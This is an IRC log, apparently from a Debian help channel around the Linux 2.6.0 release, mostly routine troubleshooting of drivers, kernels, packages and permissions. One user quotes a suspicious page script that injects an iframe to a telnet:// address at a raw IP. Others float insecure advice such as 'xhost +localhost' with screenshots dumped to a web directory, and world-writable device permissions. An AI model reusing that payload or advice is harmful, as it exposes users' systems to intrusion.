| 16:10.37 | plazia | zentrix I resent the direct assertion that I don't know how to use a simple search engine. |
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| 16:10.59 | DelEat | how do I "redo" something I've undone in vim?? |
| 16:11.05 | plazia | I elected to ask my question here of intelligent individuals rather than an unintelligent and hardly entertaining search engine. |
| 16:11.11 | plazia | You should be honoured. |
| 16:11.19 | plazia | thanx |
| 16:11.19 | Sebulba02 | I don't think you can DelEat. |
| 16:11.24 | DelEat | doh! |
| 16:11.40 | caphuso | DelEat: run vimtutor and search for redo |
| 16:11.52 | Sebulba02 | Or do that :) |
| 16:11.54 | plazia | zentrix thanx for the URL ( you no doubt google) anyway though. I will check it out :) |
| 16:11.55 | DelEat | Now type CTRL-R (keeping CTRL key pressed while hitting R) a few times |
| 16:11.55 | DelEat | <PROTECTED> |
| 16:12.05 | DebSharkY | Zentrix: where is the man :-) |
| 16:12.05 | Sebulba02 | ah |
| 16:12.10 | DebSharkY | Man fastrak? |
| 16:12.29 | DelEat | caphuso: thanx |
| 16:12.40 | Zentrix | DebSharkY: did you look at the kernel docs? |
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| 16:13.04 | DebSharkY | Zenitrix: Where? |
| 16:13.22 | DebSharkY | Zenitrix: kernel.org? |
| 16:13.25 | gothtec | Zentrix: I thought wine didnt like dos games.. and that it required opengl of some sort to run them anyway. I cant find opengl drivers that support my video card (stupid hp laptop) |
| 16:13.26 | Kraig | /usr/share/doc |
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| 16:14.13 | Zentrix | DebSharkY: /path/to/kernel/source/Documentation and if you don't have the source (well how did you get the kernel if you don't have the source?) go to kernel.org |
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| 16:15.30 | gothtec | Zentrix: I have read that carmageddon can run in winex, but winex requires gl drivers from nvidia and I have a radeon mobile card |
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| 16:15.36 | Zentrix | gothtec: you might want to check if others have gotten your games to run with wine in the wine application database http://appdb.winehq.org/ |
| 16:16.00 | bleh | I realize this is off topic, but what distro is made specifically as being a firewall |
| 16:16.03 | lorax | gothtec: or check out transgaming.com |
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| 16:16.32 | gothtec | lorax: it requires god damn gl drivers, which are not available for my video card |
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| 16:16.56 | Zentrix | gothtec: looks like regular wine runs carmageddon just fine, according to the appdb |
| 16:17.04 | lorax | gothtec: i have radeon 9700 pro ( ati ) and it works sweet for me |
| 16:17.16 | bleh | anyone |
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| 16:17.24 | bleh | distro for firewall |
| 16:17.26 | gothtec | lorax: well I have an ageing hp laptop with a radeon mobile m6 |
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| 16:17.56 | lorax | gothtec: sweet.. :) |
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| 16:18.03 | zinx | gothtec: the m6 works FINE with ati's drivers |
| 16:18.11 | zinx | gothtec: well, that or DRI :P |
| 16:18.33 | lorax | gothtec: better than my laptop.. gateway solo 5150 :( with neomagic. lolll |
| 16:18.37 | gothtec | zinx: really? feel like directing me to a nice howto? |
| 16:18.37 | zinx | i never remember the mapping of mN to radeon NNNN |
| 16:18.53 | gothtec | lorax: heh |
| 16:19.22 | zinx | gothtec: if it's 8500 or up, ATI's drivers support it (http://www.ati.com), if it's 9200 or below, DRI supports it (dri.sf.net) |
| 16:19.57 | zinx | DRI it is |
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| 16:20.18 | gothtec | zinx: for this? "01:00.0 VGA compatible controller: ATI Technologies Inc Radeon Mobility M6 LY" |
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| 16:20.25 | zinx | gothtec: yeah |
| 16:20.25 | lorax | zinx : i couldnt gettje ati drivers to work with my mainboard agp, so i have hacked version by jpbarto |
| 16:20.51 | zinx | gothtec: you need XFree86 4.3.0 at least -- you _MAY_ need a 4.4.0 release candidate |
| 16:21.06 | zinx | lorax: which AGP driver? |
| 16:21.22 | lorax | via p4x400 |
| 16:21.23 | Deimos_ | Hello, is there a C function to print like hexdump does ? |
| 16:21.33 | lorax | no support for my board |
| 16:21.42 | lorax | well supposed to be in 2.6 |
| 16:21.46 | zinx | lorax: probably just need to load up the kernel drivers, and put ``Option "UseInternalAGPGART" "no"'' in XF86Config-4 |
| 16:22.00 | zinx | lorax: yeah, so run 2.6, or patch your 2.4 kernel to support that driver ;) |
| 16:22.06 | gothtec | zinx: hm.. xserver-xfree86_4.2.1-12.1_i386.deb is what I have installed |
| 16:22.14 | DebSharkY | No doc Found |
| 16:22.24 | lorax | well 2.6 wount compile.. lol·. i even stripped it clean |
| 16:22.25 | zinx | lorax: ATI's drivers work with 2.6.0, currently released drivers need a one-liner patch (some #define that was removed) |
| 16:22.38 | zinx | gothtec: i'm not really sure if it works with that |
| 16:22.57 | zinx | gothtec: 4.3.0 and 4.4.0 will work much better, even if it does.. you can get 4.3.0 from experimental |
| 16:22.58 | daft | with this new 2.6 kernel we can put linux in aircrafts :D |
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| 16:23.25 | zinx | daft: what, not happy with the lack of unstability of windows CE? :) |
| 16:23.32 | lorax | i have x4.3 |
| 16:23.39 | gothtec | zinx: it's what was in sid when I installed it.. upgrading xfree86 requires upgrading libc6, I think, and that has broken my system before.. me scared! |
| 16:23.40 | lorax | brb |
| 16:23.49 | zinx | gothtec: not with sid |
| 16:24.08 | NuTTeR | whats sooo good about xfree86 4.3? |
| 16:24.23 | zinx | gothtec: you can install just XFree86 from experimental, though it's somewhat more tricky |
| 16:24.23 | zinx | gothtec: i know, because i have it done that way :/ |
| 16:24.23 | zinx | XFree86 Version 4.3.0.1 (Debian 4.3.0-0pre1v4 20031024231956 aigarius@namatevs.lv) |
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| 16:24.45 | ndee_ | how can I set that a user can only mess in his home directory? |
| 16:24.51 | daft | well peeps put linux in every thing these days |
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| 16:25.07 | gothtec | ndee_ just make sure he doesn't have write access anywhere else? |
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| 16:25.11 | zinx | ndee_: don't give him permission to mess with anything else :/ |
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| 16:25.21 | ndee_ | isn't there something like chroot available? |
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| 16:25.27 | matteorox | how could I make start a 2.6 kernel maintaining the 2.4 one ? |
| 16:25.29 | lorax | ndee :chroot maybe? |
| 16:25.32 | ndee_ | gothtec: I don't want that they snoop around on my server |
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| 16:25.37 | ndee_ | lorax: how could I do that? |
| 16:25.38 | NuTTeR | ndee_: dont put them in any groupe |
| 16:25.44 | oskie | when burning audio CDs in linux, how do you specify that you don't want a 2 second gap between all tracks? |
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| 16:25.49 | oskie | so called pregap |
| 16:26.15 | gothtec | zinx: running apt-get update now. should I just do "apt-get install xserver-xfree86" then? |
| 16:26.15 | ndee_ | nutter: ok |
| 16:26.51 | ndee_ | but can I not limit them to their home directory with chroot somehow? |
| 16:26.54 | NuTTeR | ndee_: sorry i was slow at typing, that will only help in stoping them snooping |
| 16:27.02 | lorax | ndee : there are alot of howtos on the web. i have never done it myself, but have checked on doing. i know in my ftp ( protpd ) i change the rootdir to ~ instead of the / its set to by default |
| 16:27.21 | zinx | gothtec: /m dpkg experimental i think |
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| 16:27.31 | ljlane | oskie, use cdparanoia |
| 16:27.39 | ndee_ | lorax: yeah, that's what I have too but they could always login per ssh |
| 16:27.47 | initech | ndee_: with a normal shell (i.e., bash, etc.)? |
| 16:27.52 | zinx | gothtec: though i don't recommend pulling all experimental packages |
| 16:27.55 | NuTTeR | dont allow ssh connections |
| 16:28.02 | lorax | ndee_: do they ned a shell? |
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| 16:28.05 | gothtec | zinx: hm.. the version I have is still the newest one in sid.. experimental.. isn't that like.. very likely to crash? |
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| 16:28.10 | ndee_ | no, they don't need a shell, only ftp access |
| 16:28.14 | zinx | gothtec: someone else in here may have a better solution for only pulling XFree86 from experimental |
| 16:28.16 | zinx | gothtec: yes |
| 16:28.28 | engie | Hi. I need to rebuild my kernel to get my network card to work, but I need kernel-tools to build the kernel. I can't get this from packages.debian.com, nor from apt-get as the network isn't working... Does anyone know of a dl site for this? |
| 16:28.29 | zinx | gothtec: though the XFree86 packages seem fairly stable, at least from what i've used so far |
| 16:28.30 | NuTTeR | so block ssh or stop sshd |
| 16:28.34 | lorax | ok so edit /etc/passwd and set shell to dev/null maybe? |
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| 16:28.43 | initech | ndee_: not *sure* but I believe one can still login to ftp with /bin/false as the shell |
| 16:28.50 | ndee_ | ok, gonna try that |
| 16:28.58 | lorax | ndee_: wait |
| 16:29.03 | zinx | gothtec: note that debian's naming schemes of 'stable', 'testing', 'unstable', 'experimental', etc, refer to the packages themselves, not the status of the software that is packaged |
| 16:29.08 | Strife | does anyone know what program I can run or what file I would edit to change the speed of the mouse? |
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| 16:29.20 | lorax | ndee_: dont set to /dev/null i kjust remebered. it will kill ftp too |
| 16:29.26 | oskie | ljlane: but cdparanoia is for ripping... not burning! :) anyway, it seems defpregap=0 might help |
| 16:29.30 | initech | Strife: in X or console? |
| 16:29.36 | Strife | for X, sorry |
| 16:29.38 | ndee_ | hm, /bin/false didn't work, still SSH login |
| 16:29.39 | zinx | gothtec: stuff in experimental may overwrite all your configuration files, or cease to be installable, for example :P |
| 16:29.44 | ndee_ | what's the directive in SSH again... |
| 16:29.47 | initech | Strife: for X, whatever wm you use. for console, gpmconfig |
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| 16:29.53 | Strife | hmm |
| 16:29.55 | madroach | How can I find out the optimal inode size for my system ? |
| 16:29.57 | zinx | gothtec: but it's generally stable software that's packaged, so the software isn't terribly likely to crash your system |
| 16:30.08 | initech | ndee_: with /bin/false as the shell there is no way they log in via ssh |
| 16:30.10 | ndee_ | AllowUsers |
| 16:30.11 | ndee_ | that's it |
| 16:30.27 | ljlane | oskie, for assembling the image to burn as well. What has that pregap option? |
| 16:30.32 | Strife | I would've thought it would be somewhere in the WM configuration, but I can't find it for KDE anywhere... |
| 16:30.35 | Zentrix | what would you guys recommend for encrypted file transfer? i know there's sftp and scp, but few programs support sftp and scp is pretty slow |
| 16:30.44 | oskie | ndee_: what about scp etc? will that work when shell is /bin/false |
| 16:30.44 | Strife | I just switched to a USB mouse, and now the speed is insanely fast |
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| 16:30.57 | daft | I can use my current 2.4 kernel config for the 2.6 kernel? |
| 16:31.19 | arauko | yup... |
| 16:31.33 | oskie | ljlane: ah I didn't know that.. cdrecord has defpregap |
| 16:31.35 | arauko | but you still should run make to configure extra |
| 16:31.40 | ndee_ | have it |
| 16:31.42 | mage_ | daft: no |
| 16:31.48 | ndee_ | thx ladies ;) |
| 16:31.56 | ndee_ | AllowUsers in sshd_config |
| 16:32.12 | initech | ndee_: that will work, just a little harder to manage |
| 16:32.25 | daft | I hear a yes and a no :s |
| 16:32.32 | ljlane | oskie, actually, I may be wrong on that. It's been a while. |
| 16:32.44 | JimButton | daft: the usual routine is ro tun "make oldconfig" and see what happens |
| 16:33.00 | JimButton | daft: but then, i have not read the 2.6 docs, and probably neither have you |
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| 16:33.09 | ljlane | oskie: oh, I was thinking of that other one |
| 16:33.26 | ljlane | oskie: cdrdao |
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| 16:33.55 | matteorox | how could I make start a 2.6 kernel maintaining the 2.4 one ? Anyone? |
| 16:33.56 | daft | I think i first gona read all the doc and stuff before i make my server one users with no mmu suport :þ |
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| 16:34.26 | oskie | ljlane: ah ok .. well i'd need some frontend for that, it would be too much work to write TOC files for every audio CD i'd burn.. (i rarely do that though) |
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| 16:35.26 | daft | matteorox: what do you mean with maintaining like capable running the old one, or with the same functions |
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| 16:35.54 | Enverex | I have a really big issue with Debian, and it basically prevents me from booting, even bootdiscs, basically... |
| 16:36.09 | Enverex | On this machine, when the RAID controler is enabled (Highpoint 372) I cannot use any Linux bootdisc. I have tried Debian, Gentoo and another Hybrid Debian disk and they all locate the drives on the machine, but then it imediately crashed out with a "Kernel Panic: Tried to kill init!". Turning the RAID controler off solves this, but the RAID controler needs to be on as otherwise I have more drives than ports. The drives on the controler are not RAIDed, it is |
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| 16:36.35 | petemc | !tell Enverex about custom netinst |
| 16:37.04 | matteorox | daft, having both the images in /boot and being able to select the right kernel at boot time |
| 16:37.17 | ljlane | oskie: take a little time with it when you get a chance. It's not as bad as you would think. |
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| 16:37.54 | daft | matteorox the old kernel will be moved to <kernel>.old |
| 16:38.04 | daft | just add it in the lilo.conf |
| 16:38.14 | daft | or some thing like that |
| 16:38.39 | matteorox | daft, 'will be moved' <- from who? |
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| 16:39.26 | Enverex | petemc: Wont work |
| 16:39.27 | daft | the old /vmlinuz will be named /vmlinuz.old |
| 16:39.28 | Enverex | I cant get that far |
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| 16:40.07 | Enverex | Directly after the point where you can select like "noraid" or "acpi" it bails out |
| 16:40.17 | toasty | what is difference between modules for 2.6(i.e. module-init-tools) and for 2.4? |
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| 16:40.23 | daft | pm |
| 16:40.53 | petemc | Enverex: you could use an initrd to load the drivers for your raid card |
| 16:40.54 | Enverex | cheers |
| 16:40.56 | ljlane | daft: that's a rather lame way to manage kernel versions. I always named mine like so: vmlinuz-2.4.20-xfs. That is, until I realized make-kpkg was doing all the stuff I did by hand or script and then some. |
| 16:41.08 | kerneld | mizery: xhost +localhost |
| 16:41.42 | Enverex | I have already tried that "make you own" thing. It doesn't work, it still bails out |
| 16:41.49 | Enverex | petemc: how would I do that |
| 16:42.19 | kerneld | mizery: then you can exec("xwd -display :0 > /var/www/sshot/screen.xwd") or whatevber |
| 16:42.40 | kerneld | miz: I wouldn't recomend it though |
| 16:42.48 | petemc | Enverex: you would google for docs on initial ram disks and take it from there |
| 16:42.57 | kerneld | Err |
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| 16:43.18 | Enverex | But would it be able to get far enough? As it bails out immediately after detecting what drives are in the system |
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| 16:43.21 | kerneld | Wrong chan :P |
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| 16:44.29 | lewis | I am having a slight problem with protftpd. It runs as inetd, and everything was fine this morning, and I haven't changed anything since. It takes a good 2 minutes to list a directory, though uploading and downloading is fine - any ideas? |
| 16:44.59 | knoppix | hi, anoone? |
| 16:45.33 | knoppix | hello |
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| 16:46.03 | Kraig | what's up |
| 16:46.06 | lorax | when i try to burn cd as reular user it says it cant find cdburner, but it sees it as root, now i did put myself in group disk, and cdrom.. whatg am i forgeting? |
| 16:46.11 | randeiy | lewis : check ur /etc/resolve.conf |
| 16:46.21 | lewis | k |
| 16:46.50 | knoppix | hey, i ca,nt resize my hd, can someone help me |
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| 16:47.05 | lewis | it looks normal, it has 'search' and then the two nameservers |
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| 16:47.25 | Enverex | Great, so let me get this stright, I need to be in Linux, to create the inital ram disk to boot from, but I cant get into Linux because of my raid controller, which needs an initial ram disk, which I cant make becausE I cant get into linux..... |
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| 16:47.30 | ljlane | lorax, you have to burn as root, unfortunately |
| 16:47.55 | Eclipser | no you don't |
| 16:47.55 | flane2 | hi, anyone uses a centrino-laptop? some question upon available_frequencies |
| 16:48.01 | RichiH_ | or set cdrao suid root |
| 16:48.02 | Eclipser | if you give your user the rights to burn :p |
| 16:48.09 | RichiH_ | or that, yes |
| 16:48.27 | ljlane | Eclipser, what rights to burn are those? |
| 16:48.29 | lorax | ljlane: humm. that sucks.. burning as root desnt sit right with me |
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| 16:48.40 | lewis | any more ideas about why it is slow to list directories in proftpd? |
| 16:48.47 | randeiy | lewis: in that case, ur nameserver should resolve the ftp request, if it is not resolving there is some problem |
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| 16:48.53 | ljlane | lorax, the suid deal works too. I know nothing of rights to burn. |
| 16:49.14 | Eclipser | easy |
| 16:49.18 | lewis | so something is up with the DNS servers? |
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| 16:49.20 | randeiy | lewis : try to put ur ftp machine's ip in one of the name server and see |
| 16:49.29 | randeiy | maybe |
| 16:49.33 | lewis | hmm - ok |
| 16:49.35 | lorax | maybe chmod 777 /dev/sr0 ? |
| 16:49.36 | Severian | how well does the NTFS write support work in the 2.6.0 kernel? |
| 16:49.39 | ircdevil | i am SO ready for kernel 2.6. i sure hope its better than 2.4 to allow ctrl-c to stop a process using disk i/o without having to wait 1-2 minutes for the keypress to get thru! |
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| 16:49.50 | atm2 | Hi, I have upgraded woody to testing and I can't write polish fonts neither on X Window nor console. I have pl_PL locales. |
| 16:49.50 | colde89 | need to install ne2k-pci module on lapto but cold not install, any idey ?? |
| 16:49.53 | marinos | lorax: it is similary a risico if you burn with a setuid application |
| 16:49.57 | Eclipser | I made a group called "cdburn" and added my user to it and changed the group of /dev/scd0 to cdburn :p |
| 16:50.00 | SteamedPenguin | when running dch to edit the changelog it uses user@host.domain.tld I want it to use user@domain.tld |
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| 16:50.30 | lorax | marinos: Eclipser : i see what you mean |
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| 16:50.37 | ljlane | Eclipser, sounds good, but never worked. There was something beyond /dev permissions that required root. |
| 16:50.43 | lewis | nope - still slow |
| 16:50.48 | Qerub | What does /var/lib/dpkg/available contain? |
| 16:50.58 | nox- | Severian can only write to existing files without changing the size afaik. but you could try this: http://www.jankratochvil.net/project/captive/ |
| 16:51.00 | kerneld | is fortune supposed to honour locale? |
| 16:51.20 | atm2 | Hi, I have upgraded woody to testing and I can't write polish fonts neither on X Window nor console. I have pl_PL locales. |
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| 16:51.35 | kerneld | I have some -es fortunes and some english ones. I want some users to just get -es and other to just get english |
| 16:51.41 | Severian | nox: thank you |
| 16:51.54 | DaCa | SteamedPenguin: you could set the EMAIL or DEBEMAIL envvar, look at the dch manpage |
| 16:52.14 | atm2 | Now I want to search some man on goodle and it is impossible to write polish signs. |
| 16:52.18 | atm2 | Hi, I have upgraded woody to testing and I can't write polish fonts neither on X Window nor console. I have pl_PL locales. |
| 16:52.26 | lewis | that's weird - sometimes slow, sometimes fast... |
| 16:52.32 | lewis | going to try removing the other name server |
| 16:52.50 | SteamedPenguin | DaCa: thank you |
| 16:52.51 | ircdevil | kerneld its strange that there exists so many es fortunes |
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| 16:54.18 | kerneld | ircdevil: Whay do you say that.? Along with German, I think spanish speaking contributors are relatively prolific |
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| 16:56.38 | Enverex | Googling for initial ram disks is not helping |
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| 16:57.00 | kerneld | eNovell: Why? |
| 16:57.17 | kerneld | Enverex: rather |
| 16:57.35 | coolnewbie | is there any log for apt-get |
| 16:57.39 | kzar | im trying to get the console to use a uk keymap. I tried typing "kbdconfig" and selecting the right one, but it spits out an error "loadkeys: error while loading shared libraries: libcfont.0: cannot open shared object file: No such file or directory" What should I do? |
| 16:57.47 | Enverex | kerneld: rather? |
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| 16:58.18 | nox- | Enverex if you cant boot your installed system because of missing modules use a rescue cd or a live cd like knoppix to fix it |
| 16:58.22 | streuner | ~keymap |
| 16:58.23 | | http://ipaq.secret.org.uk/intimate/latest/release/usr/X11R6/include/keymap |
| 16:58.27 | kerneld | Enverex: What are you looking to have in a ramdisk? |
| 16:58.45 | Enverex | nox-: I dont have an installed system because I cant get that far |
| 16:58.54 | Qerub | What does /var/lib/dpkg/available contain? |
| 16:59.01 | streuner | kzar: /msg dpkg keymap |
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| 16:59.12 | SteamedPenguin | where do I set the env var? in .bashrc or in ~/.devscripts? |
| 16:59.18 | Enverex | kerneld: Something to make a Highpoint 372 controler not cause a kernel panic |
| 16:59.19 | Qerub | coolnewbie: Nope. |
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| 16:59.29 | kerneld | Enverex: Is it that your SCSI card isn't supported? |
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| 16:59.57 | Enverex | kerneld: I don't know (its not SCSI) but it is because of it |
| 17:00.04 | Qerub | kzar: Yeah, I get that too. |
| 17:00.06 | Enverex | Onbuilt ATA RAID |
| 17:00.21 | coolnewbie | qerub:i want tpo know about the dependencies installed for some software |
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| 17:00.42 | Qerub | coolnewbie: apt-cache show <package>? |
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| 17:00.54 | jak | Hi folks, I am trying to make a debian package for a daemon process and would like for it to have its own user. How do I create a user in the debian control files for that package? |
| 17:00.58 | coolnewbie | qerub:thanks |
| 17:00.59 | Enverex | Gentoo LiveCD, Debian Netinst and a misc boot disk all Kernel Panic |
| 17:01.00 | petemc | coolnewbie: apt-rdepends is a useful tool, its in sid |
| 17:01.01 | Qerub | coolnewbie: Try aptitude otherwise, it's great. |
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| 17:01.23 | kerneld | Enverex: Hmm,, If you have another linux box, you can build a custom kernel to put on your rescue disk. |
| 17:01.24 | coolnewbie | petemc: i use sarge |
| 17:01.27 | elkrammer | anyone knows a app for grabbing pics from a digital camera? (it's not compact flash, or other external memories, i'm using the cameras internal memory) |
| 17:01.36 | Enverex | I dont |
| 17:01.39 | petemc | coolnewbie: it might be in sarge too |
| 17:01.42 | Qerub | elkrammer: gphoto |
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| 17:02.02 | Enverex | Actually, I do... but whether I can get to it is another matter |
| 17:02.02 | kerneld | Enverex: Are you using bf2.4 ? |
| 17:02.03 | coolnewbie | petemc:let me look |
| 17:02.04 | elkrammer | Qerub, thanks |
| 17:02.20 | petemc | Enverex: have you googled for "Highpoint 372 linux" |
| 17:02.23 | Enverex | That was one of them, Gentoo was 2.4 and 2.6 |
| 17:03.20 | oskie | great... fucking $3 DVD-R coaster because of some unknown error.. |
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| 17:03.56 | Enverex | Yes, but it is all Red Hat related afaikt |
| 17:04.09 | zinx | oskie: you should find a cheaper source for DVD-R media |
| 17:04.30 | oskie | zinx: cheaper = has CRC errors all over |
| 17:04.34 | quant | i am trying to uninstall courier-imap-ssl, but when i do i get this error: Removing courier-imap-ssl ... |
| 17:04.34 | quant | ERR: config file missing |
| 17:04.34 | quant | dpkg: error processing courier-imap-ssl (--remove): |
| 17:04.34 | quant | <PROTECTED> |
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| 17:04.34 | dpkg | parse error: dunno what the heck you're talking about, quant |
| 17:04.35 | Enverex | $3 rofl |
| 17:04.35 | modconf | Enverex: I give up, what is it? |
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| 17:04.48 | quant | sorry |
| 17:04.50 | Enverex | modconf: What is what? |
| 17:04.51 | modconf | Enverex: I think you lost me on that one |
| 17:05.04 | petemc | quant: man dpkg , look for the conf-missing switch |
| 17:05.18 | quant | petemc: thanks a lot |
| 17:06.00 | DaCa | Qerub: try dselect update |
| 17:07.05 | evon_ | blackbox rules |
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| 17:07.54 | karsten | ~tell knoppix about knoppix |
| 17:08.00 | coolnewbie | petemc:apt-rdepends not in sarge |
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| 17:08.36 | Fe|ipe | 8 |
| 17:08.58 | Qerub | DaCa: Thanks here too. :) |
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| 17:10.25 | Ra1stlin_ | hi all |
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| 17:11.37 | doub | hi there |
| 17:11.39 | quant | petemc: "confmiss"? doesn't work |
| 17:11.41 | tarzeau | hi doub |
| 17:11.51 | karsten | ~hi |
| 17:12.14 | knoppix | wtf mach ich hir? |
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| 17:12.22 | knoppix | ich wollt doch garnich hier rein |
| 17:12.36 | karsten | knoppix: Geh noch #knoppix oder #debian-de |
| 17:12.46 | Kraig | deustch! |
| 17:12.55 | knoppix | ich rede deutsch, du affe |
| 17:13.00 | karsten | Kraig: Jawol! |
| 17:13.10 | btwotch | Can somebody help me with that? Note[ogle_vout]: Display w: 356, h: 267, hp: 1400, vp: 1050 |
| 17:13.10 | btwotch | Note[ogle_vout]: Display sar: 373800/373800 = 1.000000 |
| 17:13.10 | btwotch | ERROR[ogle_vout]: Only 15, 16, 24, and 32bpp supported. Trying 24bpp! |
| 17:13.10 | btwotch | X Error of failed request: BadValue (integer parameter out of range for operation) |
| 17:13.10 | btwotch | <PROTECTED> |
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| 17:13.30 | clown | how can I match the last occurence of a substr in a string? e.g. 'echo "abcdecde" | sed -e "s:cd.*$:x:"' returns "abx", not "abcdex" what I am looking for... |
| 17:13.34 | karsten | ~tell btwotch about #flood |
| 17:13.49 | btwotch | karsten: Ok, again in #flood? |
| 17:13.57 | doub | im having trouble with the sooo friendly dhcp config : one of my dhcp client machine (using dhclient) wants ever and ever the same IP adress, which is already in use, whereas no conf, lease or whatever file contains this adress (this is the first adress in pool) |
| 17:14.12 | doub | and dhcpd refuses to give it |
| 17:14.14 | karsten | btwotch: Sure. |
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| 17:14.29 | Kraig | doub r u looking for interfaces |
| 17:14.46 | Kraig | /etc/network/interfaces? |
| 17:15.14 | doub | Kraig: this file says 'iface eth0 inet dhcp' |
| 17:15.19 | doub | Kraig: and that's all |
| 17:15.24 | karsten | ~tell Kraig about u |
| 17:15.27 | Kraig | doub the configure it |
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| 17:15.50 | Kraig | karsten, wtf is that? |
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| 17:16.20 | karsten | @tell Kraig about u |
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| 17:16.28 | karsten | Kraig: Wrong bot, wrong factoid. |
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| 17:16.42 | oclug-bjb | doub, does any machine on your network currently have that address? If you want your specific machine to have it, the other machine better give it up. |
| 17:16.55 | oclug-bjb | doub, if not, then maybe you just have to restart the dhcp server |
| 17:16.58 | Kraig | karsten: u can understand it, then what's the problem? |
| 17:17.20 | alex_ | <PROTECTED> |
| 17:17.24 | ToreSB | Oh no - grandma cooking |
| 17:17.26 | oclug-bjb | Kraig, there are currently 626 people here, and not all of them are native English speakers |
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| 17:17.28 | doub | oclug-bjb: one machine already has it (not running now however) |
| 17:17.33 | karsten | Kraig: No problems now. |
| 17:17.34 | ToreSB | Smell of fire |
| 17:17.40 | coolnewbie | is there any command to remove a software along with its dependencies |
| 17:17.40 | oclug-bjb | doub, try restarting the dhcp server |
| 17:17.52 | ToreSB | Soup isn't supposed to go snapcrackepop is it... |
| 17:17.59 | karsten | coolnewbie: deborphan, debfoster |
| 17:18.08 | Kraig | oclug-bjb i'm not native english speaker, but if i use my brain i can understand it |
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| 17:18.21 | coolnewbie | karsten:thanks |
| 17:18.23 | chris` | coolnewbie: uh, apt |
| 17:18.26 | oclug-bjb | All right, here's my first time I use ignore. |
| 17:18.47 | doub | oclug-bjb: wtf??? i restarted the server, and it now gave the very same previously refused adress |
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| 17:19.21 | btwotch | Can somebody help me to use ogle? |
| 17:19.25 | mush | u guy's can't be serious about having a problem with u |
| 17:19.30 | jnagyjr | Hey, is anyone of you folks a musician? |
| 17:19.49 | coolnewbie | chris:i dont think apt-get remove can uninstall the dependencies of the selected software |
| 17:19.53 | Kraig | why jnagyjr |
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| 17:20.12 | jnagyjr | Kraig: I was thinking of writing up some lyrics for a Linux kernel theme song ;) |
| 17:20.28 | Kraig | coolnewbie, apt-get remove lets a lot of shit around |
| 17:20.36 | jnagyjr | Then we could have a "Battle of the Theme Song" competition with the BSD folks. (; |
| 17:20.44 | Kraig | jnagyjr, put them, i'll make it a guitar |
| 17:20.45 | Kraig | lol |
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| 17:21.09 | DaCa | jnagyjr: great, it would put us up on the same level of security as openbsd :) |
| 17:21.20 | jnagyjr | DaCa: O.o |
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| 17:21.53 | jnagyjr | Well, I can be contacted privately (wrt this project) at pagan_prince@bigfire-hsv.org |
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| 17:22.12 | jnagyjr | I could have something ready before the beginning of the next semester at my college. |
| 17:22.30 | coolnewbie | kraig:i have uninstalled using apt-remove but there seems to be a lot of libs lying useless |
| 17:22.57 | jnagyjr | anyways, back to my mindless mayhem |
| 17:23.02 | doub | oclug-bjb: is the dhcpd (ISC) server from sid known to have this kind of unwanted behavior, or have i misconfigured/understood somethin? |
| 17:23.02 | Kraig | coolnewbie, that's right, that's really bad |
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| 17:23.46 | soleil | hello |
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| 17:23.58 | mush | coolnewbie: someone said deborphan and debfoster - they find packages with nothing dependant on them |
| 17:23.59 | soleil | does anyone know if these {http://people.debian.org/~dwhedon/boot-floppies/} are bootable cds? |
| 17:24.32 | Kraig | coolnewbie: dpkg -purge paquete or apt-get remove --purge |
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| 17:24.51 | coolnewbie | kraig:i installed liborphan and typed it it shows list of lib files orphaned it is great |
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| 17:25.07 | Nilbus | what is NLS in context with Samba? |
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| 17:25.21 | kzar | When i type "dpkg-reconfigure console-data" it seems to go well, but it doesnt actualy change anything. The only message i get at the end is "Defering virtual terminal setup untill console accessible" |
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| 17:30.21 | spo0nman | ~check |
| 17:30.28 | spo0nman | ~hi |
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| 17:31.54 | Bre2 | please don't try this at home -> http://www.bnhof.de/~ho2357/index.html |
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| 17:34.22 | spo0nman | ~hi |
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| 17:35.02 | paulswm | some people, geez |
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| 17:35.19 | Enverex | Wrong button |
| 17:35.26 | kerneld | document.write("<iframe src=" + chr(34) + "telnet://194.164.56.30" + chr(34) + ">") << WTF ? |
| 17:35.47 | ToreSB | Anyone here know the data density of 8-track paper tape? |
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| 17:35.52 | raboof | this might be a faq, but in what (possibly unofficial) package would i be most likely to find a libjavaplugin_oji.so that works with the mozilla and mozilla-firebird in unstable? |
| 17:36.09 | Firehand | kerneld: i reckon this page needs to be opened in M$ IE |
| 17:36.34 | Braindead | #deb http://jopa.studentenweb.org/debian ./ |
| 17:36.34 | Braindead | #deb-src http://jopa.studentenweb.org/debian ./ |
| 17:36.34 | paulswm | ToreSB: from what I remember, it's about 6 or 8 per inch |
| 17:36.41 | Braindead | raboof: take a look there |
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| 17:37.53 | raboof | hmm, i've got a j2sdk1.4 package from elsewhere (tux.org iirc), that didn't seem to include it |
| 17:37.54 | Fox_1_ | va |
| 17:38.11 | paulswm | ToreSB: although I think I only used 5 and 7 track (well, 6 and 8 if you count the sprocket track) |
| 17:38.18 | Braindead | raboof: but it depends upon which GCC has been used to compile it |
| 17:38.19 | spo0nman | dpkg: where are you |
| 17:38.19 | dpkg | I am at 42.37512 N, 72.51999 W |
| 17:39.03 | Braindead | anybody having those "unreproducible" problems on mozilla-firebird on unstable after upgrading to -6 ? |
| 17:39.19 | ToreSB | paulswm: Hmmm, hmm, hmm. |
| 17:39.42 | paulswm | ToreSB: why, you going retro with I/O devices? |
| 17:39.42 | Serial^Killa | can anybody tell me from where can i get ssh for debian ??? |
| 17:39.50 | ToreSB | paulswm: I am calculating how long a paper tape would be needed to store the GNU GPL :) |
| 17:39.58 | Braindead | Serial^Killa: man apt-get |
| 17:40.08 | spo0nman | Serial^Killa: packages.debian.org |
| 17:40.15 | paulswm | ToreSB: well that sounds like a useful mission :) |
| 17:40.31 | ToreSB | paulswm: Christmas present for Linus next year? :) |
| 17:40.36 | Serial^Killa | packages.debian.org is down at the moment |
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| 17:40.46 | ToreSB | Serial^Killa: Again!?!? |
| 17:41.00 | trans_err | Serial^Killa, apt-get install ssh |
| 17:41.01 | Serial^Killa | ToreSB yeah ;] |
| 17:41.14 | paulswm | ToreSB: well let's hope nvidia isn't writing the paper tape driver |
| 17:41.20 | Serial^Killa | trans_err i dont have ssh in apt |
| 17:41.32 | Braindead | Serial^Killa: man apt-cache |
| 17:41.41 | ToreSB | paulswm: Hee hee :) |
| 17:41.45 | Braindead | or get aptitude,synaptic,whatever |
| 17:41.45 | ToreSB | paulswm: I am :) |
| 17:41.51 | trans_err | Serial^Killa, then you don't have a proper debian system |
| 17:42.18 | paulswm | ToreSB: you actually have a paper tape reader and a teletype/paper tape punch?? |
| 17:42.27 | Serial^Killa | trans_err my debian system is very litle ;] |
| 17:42.50 | ToreSB | paulswm: Yes |
